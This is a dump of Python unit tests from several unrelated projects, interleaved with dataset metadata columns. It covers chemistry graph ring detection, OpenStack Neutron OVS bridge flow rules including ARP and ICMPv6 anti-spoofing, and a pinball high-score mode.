frozenset({0, 5}): (1, None), frozenset({11, 12}): (1, None),
frozenset({13, 14}): (1, None), frozenset({3, 5}): (1, None),
frozenset({0, 2}): (1, None), frozenset({1, 4}): (1, None),
frozenset({12, 13}): (1, None), frozenset({0, 1}): (1, None),
frozenset({1, 7}): (1, None), frozenset({12, 15}): (1, None),
frozenset({6, 7}): (1, None), frozenset({8, 9}): (1, None),
frozenset({16, 15}): (1, None), frozenset({4, 5}): (1, None),
frozenset({16, 17}): (1, None), frozenset({2, 3}): (1, None),
frozenset({18, 4}): (1, None), frozenset({17, 14}): (1, None),
frozenset({8, 10}): (1, None), frozenset({18, 10}): (1, None),
frozenset({8, 11}): (1, None)})
rsys = graph.ring_systems(gra)
assert len(rsys) == 2
rsy_rngs = list(map(graph.rings, rsys))
assert tuple(map(len, rsy_rngs)) == (3, 2)
def test__ring_systems_decomposed_atom_keys():
""" test automol.graph.ring_systems_decomposed_atom_keys
"""
# molecule:
# InChI=1S/C19H30/c1-2-4-14-10-12(9-13(14)3-1)5-7-17-16-8-6-15-11-
# 18(16)19(15)17/h12-19H,1-11H2/
gra = ({0: ('C', 1, None), 1: ('C', 1, None), 2: ('C', 2, None),
3: ('C', 1, None), 4: ('C', 1, None), 5: ('C', 1, None),
6: ('C', 2, None), 7: ('C', 2, None), 8: ('C', 1, None),
9: ('C', 2, None), 10: ('C', 2, None), 11: ('C', 2, None),
12: ('C', 1, None), 13: ('C', 1, None), 14: ('C', 2, None),
15: ('C', 2, None), 16: ('C', 2, None), 17: ('C', 2, None),
18: ('C', 2, None)},
{frozenset({9, 13}): (1, None), frozenset({3, 6}): (1, None),
frozenset({0, 5}): (1, None), frozenset({11, 12}): (1, None),
frozenset({13, 14}): (1, None), frozenset({3, 5}): (1, None),
frozenset({0, 2}): (1, None), frozenset({1, 4}): (1, None),
frozenset({12, 13}): (1, None), frozenset({0, 1}): (1, None),
frozenset({1, 7}): (1, None), frozenset({12, 15}): (1, None),
frozenset({6, 7}): (1, None), frozenset({8, 9}): (1, None),
frozenset({16, 15}): (1, None), frozenset({4, 5}): (1, None),
frozenset({16, 17}): (1, None), frozenset({2, 3}): (1, None),
frozenset({18, 4}): (1, None), frozenset({17, 14}): (1, None),
frozenset({8, 10}): (1, None), frozenset({18, 10}): (1, None),
frozenset({8, 11}): (1, None)})
decomps = graph.ring_systems_decomposed_atom_keys(gra)
assert decomps == (((0, 1, 4, 5), (0, 2, 3, 5), (1, 7, 6, 3)),
((8, 9, 13, 12, 11), (13, 14, 17, 16, 15, 12)))
if __name__ == '__main__':
test__rings()
test__ring_systems()
test__ring_systems_decomposed_atom_keys()
| 49.362745
| 74
| 0.450447
| 769
| 5,035
| 2.892068
| 0.080624
| 0.202338
| 0.415468
| 0.074191
| 0.86286
| 0.845773
| 0.785522
| 0.777428
| 0.709532
| 0.695594
| 0
| 0.14469
| 0.272493
| 5,035
| 101
| 75
| 49.851485
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| 0
| 0.526316
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| 0.014674
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| 0
| 0
| 0.052632
| 1
| 0.039474
| false
| 0
| 0.013158
| 0
| 0.052632
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| null | 0
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0
| 9
|
13b56fb05ac91345e301c9110c917ede2e230b8c
| 15,264
|
py
|
Python
|
neutron/tests/unit/plugins/ml2/drivers/openvswitch/agent/openflow/native/test_br_int.py
|
ISCAS-VDI/neutron-base
|
687f03d7131839ae8bc324d5823194d1245bb050
|
[
"Apache-2.0"
] | 1
|
2017-09-10T09:57:35.000Z
|
2017-09-10T09:57:35.000Z
|
neutron/tests/unit/plugins/ml2/drivers/openvswitch/agent/openflow/native/test_br_int.py
|
ISCAS-VDI/neutron-base
|
687f03d7131839ae8bc324d5823194d1245bb050
|
[
"Apache-2.0"
] | 3
|
2015-02-27T00:48:55.000Z
|
2015-04-21T05:29:37.000Z
|
neutron/tests/unit/plugins/ml2/drivers/openvswitch/agent/openflow/native/test_br_int.py
|
ISCAS-VDI/neutron-base
|
687f03d7131839ae8bc324d5823194d1245bb050
|
[
"Apache-2.0"
] | 3
|
2015-02-26T00:55:17.000Z
|
2020-03-01T17:05:40.000Z
|
# Copyright (C) 2014,2015 VA Linux Systems Japan K.K.
# Copyright (C) 2014,2015 YAMAMOTO Takashi <yamamoto at valinux co jp>
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import mock
from neutron.tests.unit.plugins.ml2.drivers.openvswitch.agent.openflow.native \
import ovs_bridge_test_base
call = mock.call # short hand
class OVSIntegrationBridgeTest(ovs_bridge_test_base.OVSBridgeTestBase):
def setUp(self):
super(OVSIntegrationBridgeTest, self).setUp()
self.setup_bridge_mock('br-int', self.br_int_cls)
self.stamp = self.br.default_cookie
def test_setup_default_table(self):
self.br.setup_default_table()
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(
ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionOutput(ofp.OFPP_NORMAL, 0)
]),
],
match=ofpp.OFPMatch(),
priority=0,
table_id=0)),
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[],
match=ofpp.OFPMatch(),
priority=0,
table_id=23)),
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[],
match=ofpp.OFPMatch(),
priority=0,
table_id=24)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_provision_local_vlan(self):
port = 999
lvid = 888
segmentation_id = 777
self.br.provision_local_vlan(port=port, lvid=lvid,
segmentation_id=segmentation_id)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionSetField(
vlan_vid=lvid | ofp.OFPVID_PRESENT),
ofpp.OFPActionOutput(ofp.OFPP_NORMAL, 0)
]),
],
match=ofpp.OFPMatch(
in_port=port,
vlan_vid=segmentation_id | ofp.OFPVID_PRESENT),
priority=3,
table_id=0)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_provision_local_vlan_novlan(self):
port = 999
lvid = 888
segmentation_id = None
self.br.provision_local_vlan(port=port, lvid=lvid,
segmentation_id=segmentation_id)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionPushVlan(),
ofpp.OFPActionSetField(
vlan_vid=lvid | ofp.OFPVID_PRESENT),
ofpp.OFPActionOutput(ofp.OFPP_NORMAL, 0),
]),
],
match=ofpp.OFPMatch(
in_port=port,
vlan_vid=ofp.OFPVID_NONE),
priority=3,
table_id=0)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_reclaim_local_vlan(self):
port = 999
segmentation_id = 777
self.br.reclaim_local_vlan(port=port, segmentation_id=segmentation_id)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call.delete_flows(
match=ofpp.OFPMatch(
in_port=port,
vlan_vid=segmentation_id | ofp.OFPVID_PRESENT)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_reclaim_local_vlan_novlan(self):
port = 999
segmentation_id = None
self.br.reclaim_local_vlan(port=port, segmentation_id=segmentation_id)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call.delete_flows(
match=ofpp.OFPMatch(
in_port=port,
vlan_vid=ofp.OFPVID_NONE)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_install_dvr_to_src_mac(self):
network_type = 'vxlan'
vlan_tag = 1111
gateway_mac = '08:60:6e:7f:74:e7'
dst_mac = '00:02:b3:13:fe:3d'
dst_port = 6666
self.br.install_dvr_to_src_mac(network_type=network_type,
vlan_tag=vlan_tag,
gateway_mac=gateway_mac,
dst_mac=dst_mac,
dst_port=dst_port)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionPopVlan(),
ofpp.OFPActionSetField(eth_src=gateway_mac),
ofpp.OFPActionOutput(6666, 0),
]),
],
match=ofpp.OFPMatch(
eth_dst=dst_mac,
vlan_vid=vlan_tag | ofp.OFPVID_PRESENT),
priority=4,
table_id=1)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_delete_dvr_to_src_mac(self):
network_type = 'vxlan'
vlan_tag = 1111
dst_mac = '00:02:b3:13:fe:3d'
self.br.delete_dvr_to_src_mac(network_type=network_type,
vlan_tag=vlan_tag,
dst_mac=dst_mac)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call.delete_flows(table_id=1,
match=ofpp.OFPMatch(
eth_dst=dst_mac,
vlan_vid=vlan_tag | ofp.OFPVID_PRESENT)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_install_dvr_to_src_mac_vlan(self):
network_type = 'vlan'
vlan_tag = 1111
gateway_mac = '08:60:6e:7f:74:e7'
dst_mac = '00:02:b3:13:fe:3d'
dst_port = 6666
self.br.install_dvr_to_src_mac(network_type=network_type,
vlan_tag=vlan_tag,
gateway_mac=gateway_mac,
dst_mac=dst_mac,
dst_port=dst_port)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionPopVlan(),
ofpp.OFPActionSetField(eth_src=gateway_mac),
ofpp.OFPActionOutput(dst_port, 0),
]),
],
match=ofpp.OFPMatch(
eth_dst=dst_mac,
vlan_vid=vlan_tag | ofp.OFPVID_PRESENT),
priority=4,
table_id=2)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_delete_dvr_to_src_mac_vlan(self):
network_type = 'vlan'
vlan_tag = 1111
dst_mac = '00:02:b3:13:fe:3d'
self.br.delete_dvr_to_src_mac(network_type=network_type,
vlan_tag=vlan_tag,
dst_mac=dst_mac)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call.delete_flows(table_id=2,
match=ofpp.OFPMatch(
eth_dst=dst_mac,
vlan_vid=vlan_tag | ofp.OFPVID_PRESENT)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_add_dvr_mac_vlan(self):
mac = '00:02:b3:13:fe:3d'
port = 8888
self.br.add_dvr_mac_vlan(mac=mac, port=port)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionGotoTable(table_id=2),
],
match=ofpp.OFPMatch(
eth_src=mac,
in_port=port),
priority=4,
table_id=0))
]
self.assertEqual(expected, self.mock.mock_calls)
def test_remove_dvr_mac_vlan(self):
mac = '00:02:b3:13:fe:3d'
self.br.remove_dvr_mac_vlan(mac=mac)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call.delete_flows(eth_src=mac, table_id=0),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_add_dvr_mac_tun(self):
mac = '00:02:b3:13:fe:3d'
port = 8888
self.br.add_dvr_mac_tun(mac=mac, port=port)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionGotoTable(table_id=1),
],
match=ofpp.OFPMatch(
eth_src=mac,
in_port=port),
priority=2,
table_id=0))
]
self.assertEqual(expected, self.mock.mock_calls)
def test_remove_dvr_mac_tun(self):
mac = '00:02:b3:13:fe:3d'
port = 8888
self.br.remove_dvr_mac_tun(mac=mac, port=port)
expected = [
call.delete_flows(eth_src=mac, in_port=port, table_id=0),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_install_icmpv6_na_spoofing_protection(self):
port = 8888
ip_addresses = ['2001:db8::1', 'fdf8:f53b:82e4::1/128']
self.br.install_icmpv6_na_spoofing_protection(port, ip_addresses)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionOutput(ofp.OFPP_NORMAL, 0),
]),
],
match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_IPV6,
icmpv6_type=self.icmpv6.ND_NEIGHBOR_ADVERT,
ip_proto=self.in_proto.IPPROTO_ICMPV6,
ipv6_nd_target='2001:db8::1',
in_port=8888,
),
priority=2,
table_id=24)),
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, [
ofpp.OFPActionOutput(ofp.OFPP_NORMAL, 0),
]),
],
match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_IPV6,
icmpv6_type=self.icmpv6.ND_NEIGHBOR_ADVERT,
ip_proto=self.in_proto.IPPROTO_ICMPV6,
ipv6_nd_target='fdf8:f53b:82e4::1',
in_port=8888,
),
priority=2,
table_id=24)),
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionGotoTable(table_id=24),
],
match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_IPV6,
icmpv6_type=self.icmpv6.ND_NEIGHBOR_ADVERT,
ip_proto=self.in_proto.IPPROTO_ICMPV6,
in_port=8888,
),
priority=10,
table_id=0)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_install_arp_spoofing_protection(self):
port = 8888
ip_addresses = ['192.0.2.1', '192.0.2.2/32']
self.br.install_arp_spoofing_protection(port, ip_addresses)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionGotoTable(table_id=25),
],
match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_ARP,
arp_spa='192.0.2.1',
in_port=8888,
),
priority=2,
table_id=24)),
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionGotoTable(table_id=25),
],
match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_ARP,
arp_spa='192.0.2.2',
in_port=8888
),
priority=2,
table_id=24)),
call._send_msg(ofpp.OFPFlowMod(dp,
cookie=self.stamp,
instructions=[
ofpp.OFPInstructionGotoTable(table_id=24),
],
match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_ARP,
in_port=8888,
),
priority=10,
table_id=0)),
]
self.assertEqual(expected, self.mock.mock_calls)
def test_delete_arp_spoofing_protection(self):
port = 8888
self.br.delete_arp_spoofing_protection(port)
(dp, ofp, ofpp) = self._get_dp()
expected = [
call.delete_flows(table_id=0, match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_ARP,
in_port=8888)),
call.delete_flows(table_id=0, match=ofpp.OFPMatch(
eth_type=self.ether_types.ETH_TYPE_IPV6,
icmpv6_type=self.icmpv6.ND_NEIGHBOR_ADVERT,
in_port=8888,
ip_proto=self.in_proto.IPPROTO_ICMPV6)),
call.delete_flows(table_id=24, in_port=port),
]
self.assertEqual(expected, self.mock.mock_calls)
| 38.064838
| 79
| 0.516706
| 1,623
| 15,264
| 4.585952
| 0.131238
| 0.026333
| 0.047965
| 0.058041
| 0.859331
| 0.842268
| 0.832997
| 0.792154
| 0.792154
| 0.79081
| 0
| 0.037592
| 0.391771
| 15,264
| 400
| 80
| 38.16
| 0.76411
| 0.045991
| 0
| 0.787879
| 0
| 0
| 0.020144
| 0.001444
| 0
| 0
| 0
| 0
| 0.044077
| 1
| 0.046832
| false
| 0
| 0.00551
| 0
| 0.055096
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
13f96b8e1b9e6846da2ac393c241e3c590dbd2e0
| 21,789
|
py
|
Python
|
mpf/tests/test_HighScoreMode.py
|
openpinballproject/mpf
|
75e9a6dd55f011f787974f972945cb14cf70f138
|
[
"MIT"
] | null | null | null |
mpf/tests/test_HighScoreMode.py
|
openpinballproject/mpf
|
75e9a6dd55f011f787974f972945cb14cf70f138
|
[
"MIT"
] | null | null | null |
mpf/tests/test_HighScoreMode.py
|
openpinballproject/mpf
|
75e9a6dd55f011f787974f972945cb14cf70f138
|
[
"MIT"
] | null | null | null |
"""Test high score mode."""
from collections import OrderedDict
from unittest.mock import MagicMock, call
from mpf.tests.MpfBcpTestCase import MpfBcpTestCase
from mpf.tests.MpfTestCase import test_config_directory
class TestHighScoreMode(MpfBcpTestCase):
def get_config_file(self):
return 'high_score.yaml'
def get_machine_path(self):
return 'tests/machine_files/high_score/'
def start_game(self, num_players=1):
self._bcp_client.send = MagicMock()
self.machine.playfield.add_ball = MagicMock()
self.machine.events.post('game_start')
self.advance_time_and_run()
self.machine.game.balls_in_play = 1
self.assertIsNotNone(self.machine.game)
while self.machine.game.num_players < num_players:
self.machine.game.request_player_add()
self.advance_time_and_run()
def test_high_score_without_game(self):
# try to start high score mode without a running game
self.assertIn("high_score", self.machine.modes)
self.assertModeNotRunning("high_score")
self.machine.modes["high_score"].start()
self.advance_time_and_run()
# mode should not start (neither crash)
self.assertModeNotRunning("high_score")
def test_default_high_scores(self):
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 4242),
('GHK', 2323),
('JK', 1337),
('QC', 42),
('MPF', 23)]
new_score_data['loops'] = [('JK', 42)]
self.assertEqual(new_score_data, self.machine.modes["high_score"].high_scores)
def test_no_high_scores(self):
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 10000)])
self.start_game(4)
self.machine.game.player_list[0].score = 1000
self.machine.game.player_list[1].score = 1000
self.machine.game.player_list[2].score = 1000
self.machine.game.player_list[3].score = 1000
self.machine.game.end_game()
self.advance_time_and_run()
self.advance_time_and_run()
self.assertFalse(self.machine.modes["high_score"].active)
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 10000)]
new_score_data['loops'] = []
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_tilt_during_high_score(self):
self.mock_event("high_score_enter_initials")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game()
self.advance_time_and_run()
self.machine.game.player_list[0].score = 8000000
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
self.assertEqual(1, self._events['high_score_enter_initials'])
# tilt the machine
self.hit_and_release_switch("s_tilt")
self.advance_time_and_run()
self.hit_and_release_switch("s_tilt")
self.advance_time_and_run()
self.hit_and_release_switch("s_tilt")
self.advance_time_and_run()
# high score should not end
self.assertTrue(self.machine.modes["high_score"].active)
def test_add_player_during_high_score(self):
self.mock_event("high_score_enter_initials")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game()
self.advance_time_and_run()
self.machine.game.player_list[0].score = 8000000
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
self.assertEqual(1, self._events['high_score_enter_initials'])
self.machine.game.request_player_add()
self.advance_time_and_run()
# player should not be added
self.assertEqual(len(self.machine.game.player_list), 1)
def test_1_high_score(self):
self.mock_event("high_score_enter_initials")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game(4)
self.advance_time_and_run()
self.machine.game.player_list[0].score = 8000000
self.machine.game.player_list[1].score = 1000
self.machine.game.player_list[2].score = 1000
self.machine.game.player_list[3].score = 1000
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
self.assertEqual(1, self._events['high_score_enter_initials'])
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='NEW')))
# award slide display time is 4 secs
self.advance_time_and_run(2)
# make sure the high score mode is still running
self.assertTrue(self.machine.modes["high_score"].active)
# another 2 secs and it should be done
self.advance_time_and_run(3)
self.assertFalse(self.machine.modes["high_score"].active)
new_score_data = OrderedDict()
new_score_data['score'] = [('NEW', 8000000),
('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890)]
new_score_data['loops'] = []
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_2_high_scores(self):
self.mock_event("high_score_enter_initials")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game(4)
self.machine.game.player_list[0].score = 8000000
self.machine.game.player_list[1].score = 10000000
self.machine.game.player_list[2].score = 1000
self.machine.game.player_list[3].score = 1000
self._bcp_client.send.reset_mock()
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
# GC
self.assertEqual(1, self._events['high_score_enter_initials'])
self._bcp_client.send.reset_mock()
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='NEW')))
self.advance_time_and_run(1)
# High score 1
# award slide is 4 secs, but we only advanced 1, so the next request
# should not have been sent yet
self.assertEqual(1, self._events['high_score_enter_initials'])
# advance 4 secs and it should be sent
self.advance_time_and_run(4)
self.assertEqual(2, self._events['high_score_enter_initials'])
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='P2')))
self.advance_time_and_run(5)
# High score done
self.assertFalse(self.machine.modes["high_score"].active)
# verify the data is accurate
new_score_data = OrderedDict()
new_score_data['score'] = [('NEW', 10000000),
('P2', 8000000),
('BRI', 7050550),
('GHK', 93060),
('JK', 87890)]
new_score_data['loops'] = []
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_2_high_scores_and_timeout(self):
self.mock_event("high_score_enter_initials")
self.mock_event("high_score_award_display")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game(2)
self.machine.game.player_list[0].score = 8000000
self.machine.game.player_list[1].score = 10000000
self._bcp_client.send.reset_mock()
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
# GC
self.assertEventCalledWith('high_score_enter_initials', award='GRAND CHAMPION', player_num=2, value=10000000)
self.mock_event("high_score_enter_initials")
# wait for timeout
self.advance_time_and_run(20)
self.assertEventNotCalled("high_score_award_display")
# Player 2 did not react. Player 1 will be GC
# no further slide in between
self.assertEventCalledWith('high_score_enter_initials', award='GRAND CHAMPION', player_num=1, value=8000000)
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='P2')))
self.advance_time_and_run(.5)
self.assertEventCalledWith("high_score_award_display",
award='GRAND CHAMPION', player_name='P2', value=8000000)
self.mock_event("high_score_award_display")
self.advance_time_and_run(4)
# High score done
self.assertFalse(self.machine.modes["high_score"].active)
# verify the data is accurate
new_score_data = OrderedDict()
new_score_data['score'] = [('P2', 8000000),
('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890)]
new_score_data['loops'] = []
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_new_score_to_incomplete_list(self):
self.mock_event("high_score_enter_initials")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('MPF', 1000)])
self.start_game(4)
self.machine.game.player_list[0].score = 1500
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
self.assertEqual(1, self._events['high_score_enter_initials'])
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='NEW')))
self.advance_time_and_run(5)
self.assertFalse(self.machine.modes["high_score"].active)
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 7050550),
('GHK', 93060),
('NEW', 1500),
('MPF', 1000)]
new_score_data['loops'] = []
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_more_than_3_chars(self):
self.mock_event("high_score_enter_initials")
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game(4)
self.machine.game.player_list[0].score = 8000000
self.machine.game.player_list[1].score = 1000
self.machine.game.player_list[2].score = 1000
self.machine.game.player_list[3].score = 1000
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
self.assertEqual(1, self._events['high_score_enter_initials'])
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete',
text='NEWNEW')))
self.advance_time_and_run(5)
self.assertFalse(self.machine.modes["high_score"].active)
new_score_data = OrderedDict()
new_score_data['score'] = [('NEWNEW', 8000000),
('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890)]
new_score_data['loops'] = []
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_multiple_awards(self):
self.mock_event("high_score_enter_initials")
self.mock_event("high_score_award_display")
# tests multiple awards (score & loops)
# also tests 2 players getting an award for one slot, so only the
# highest one should be presented
# also tests the order (score first, then loops)
self.machine.modes["high_score"].high_scores = OrderedDict()
self.machine.modes["high_score"].high_scores['score'] = [('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)]
self.machine.modes["high_score"].high_scores['loops'] = [('BIL', 2)]
self.start_game(4)
self.machine.game.player_list[0].score = 8000000
self.machine.game.player_list[1].score = 10000000
self.machine.game.player_list[2].score = 1000
self.machine.game.player_list[3].score = 1000
self.machine.game.player_list[0].loops = 50
self.machine.game.player_list[1].loops = 4
self.machine.game.player_list[2].loops = 1
self.machine.game.player_list[3].loops = 0
self.machine.game.end_game()
self.advance_time_and_run()
self.assertTrue(self.machine.modes["high_score"].active)
# GC
self.assertEqual(1, self._events['high_score_enter_initials'])
self._bcp_client.send.reset_mock()
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='NEW')))
self.advance_time_and_run(.5)
self.assertEventCalledWith("high_score_award_display",
award='GRAND CHAMPION', player_name='NEW', value=10000000)
self.mock_event("high_score_award_display")
self.advance_time_and_run(4)
# High score 1
self.assertEqual(2, self._events['high_score_enter_initials'])
self._bcp_client.receive_queue.put_nowait(('trigger', dict(name='text_input_high_score_complete', text='P1')))
self.advance_time_and_run(.5)
self.assertEventCalledWith("high_score_award_display",
award='HIGH SCORE 1', player_name='P1', value=8000000)
self.mock_event("high_score_award_display")
self.advance_time_and_run(4)
# Loops champ should not ask again but show a slide
self.assertTrue(self.machine.modes["high_score"].active)
self.advance_time_and_run(.5)
self.assertEventCalledWith("high_score_award_display",
award='LOOP CHAMP', player_name='P1', value=50)
self.mock_event("high_score_award_display")
self.advance_time_and_run(4)
# High score done
self.assertFalse(self.machine.modes["high_score"].active)
# verify the data is accurate
new_score_data = OrderedDict()
new_score_data['score'] = [('NEW', 10000000),
('P1', 8000000),
('BRI', 7050550),
('GHK', 93060),
('JK', 87890)]
new_score_data['loops'] = [('P1', 50)]
# only ask every player once
self.assertEqual(2, self._events['high_score_enter_initials'])
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def test_score_from_nonexistent_player_var(self):
self.machine.modes["high_score"].high_scores = OrderedDict(
score=[('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)])
self.start_game(4)
self.machine.game.end_game()
self.advance_time_and_run()
self.assertFalse(self.machine.modes["high_score"].active)
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 7050550),
('GHK', 93060),
('JK', 87890),
('QC', 87890),
('MPF', 1000)]
new_score_data['loops'] = []
self.assertEqual(new_score_data,
self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
def _get_mock_data(self):
if self._testMethodName == "testInvalidData":
new_score_data = OrderedDict()
new_score_data['score'] = [(13, '123'),
(123.1, 4),
(1)]
new_score_data['loops'] = ""
return {"high_scores": new_score_data}
